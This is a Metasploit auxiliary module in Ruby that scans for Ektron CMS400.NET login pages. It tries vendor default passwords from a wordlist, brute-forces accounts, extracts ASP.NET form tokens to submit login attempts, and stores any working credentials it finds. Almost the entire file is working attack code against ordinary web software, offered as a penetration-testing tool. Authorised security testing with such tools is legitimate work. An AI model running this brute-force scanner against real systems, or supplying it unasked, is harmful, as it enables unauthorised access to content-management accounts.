188 lines
5.7 KiB
Ruby
188 lines
5.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::AuthBrute
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Ektron CMS400.NET Default Password Scanner',
|
|
'Description' => %q{
|
|
Ektron CMS400.NET is a web content management system based on .NET.
|
|
This module tests for installations that are utilizing default
|
|
passwords set by the vendor. Additionally, it has the ability
|
|
to brute force user accounts. Note that Ektron CMS400.NET, by
|
|
default, enforces account lockouts for regular user account
|
|
after a number of failed attempts.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Justin Cacak']
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']),
|
|
OptPath.new(
|
|
'USERPASS_FILE',
|
|
[
|
|
false,
|
|
"File containing users and passwords",
|
|
File.join(Msf::Config.data_directory, "wordlists", "cms400net_default_userpass.txt")
|
|
])
|
|
], self.class)
|
|
|
|
# Set to false to prevent account lockouts - it will!
|
|
deregister_options('BLANK_PASSWORDS')
|
|
end
|
|
|
|
def target_url
|
|
# Function to display correct protocol and host/vhost info
|
|
if rport == 443 or ssl
|
|
proto = "https"
|
|
else
|
|
proto = "http"
|
|
end
|
|
|
|
uri = normalize_uri(datastore['URI'])
|
|
if vhost != ""
|
|
"#{proto}://#{vhost}:#{rport}#{uri.to_s}"
|
|
else
|
|
"#{proto}://#{rhost}:#{rport}#{uri.to_s}"
|
|
end
|
|
end
|
|
|
|
def gen_blank_passwords(users, credentials)
|
|
return credentials
|
|
end
|
|
|
|
def run_host(ip)
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(datastore['URI'])
|
|
}, 20)
|
|
|
|
if res.nil?
|
|
print_error("Connection timed out")
|
|
return
|
|
end
|
|
|
|
# Check for HTTP 200 response.
|
|
# Numerous versions and configs make if difficult to further fingerprint.
|
|
if (res and res.code == 200)
|
|
print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]")
|
|
|
|
#Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.
|
|
#Required to be sent based on some versions/configs.
|
|
begin
|
|
viewstate = res.body.scan(/<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="(.*)"/)[0][0]
|
|
rescue
|
|
viewstate = ""
|
|
end
|
|
|
|
begin
|
|
eventvalidation = res.body.scan(/<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="(.*)"/)[0][0]
|
|
rescue
|
|
eventvalidation = ""
|
|
end
|
|
|
|
get_version
|
|
|
|
print_status "Testing passwords at #{target_url}"
|
|
each_user_pass { |user, pass|
|
|
do_login(user, pass, viewstate, eventvalidation)
|
|
}
|
|
else
|
|
print_error("Ektron CMS400.NET login page not found at #{target_url}. May need to set VHOST or RPORT. [HTTP #{res.code}]")
|
|
end
|
|
|
|
rescue
|
|
print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code}]")
|
|
return
|
|
end
|
|
end
|
|
|
|
def get_version
|
|
# Attempt to retrieve the version of CMS400.NET installed.
|
|
# Not always possible based on version/config.
|
|
payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx"
|
|
res = send_request_cgi(
|
|
{
|
|
'method' => 'GET',
|
|
'uri' => payload
|
|
}, 20)
|
|
|
|
if (res.body.match(/Version.:.(\d{1,3}.\d{1,3})/))
|
|
print_status "Ektron CMS400.NET version: #{$1}"
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: (ssl ? 'https' : 'http'),
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
last_attempted_at: DateTime.now,
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
|
|
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
|
|
|
|
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
|
|
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
|
|
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
|
|
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
|
|
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['URI']),
|
|
'data' => post_data,
|
|
}, 20)
|
|
|
|
if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil)
|
|
print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'")
|
|
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
|
|
|
elsif(res and res.code == 200)
|
|
vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'")
|
|
else
|
|
print_error("#{target_url} [Error] Unable to authenticate. Check parameters. [HTTP #{res.code}]")
|
|
return :abort
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError => e
|
|
vprint_error("http://#{tartget_url} - #{e.to_s}")
|
|
return :abort
|
|
end
|
|
|
|
end
|
|
|
|
end
|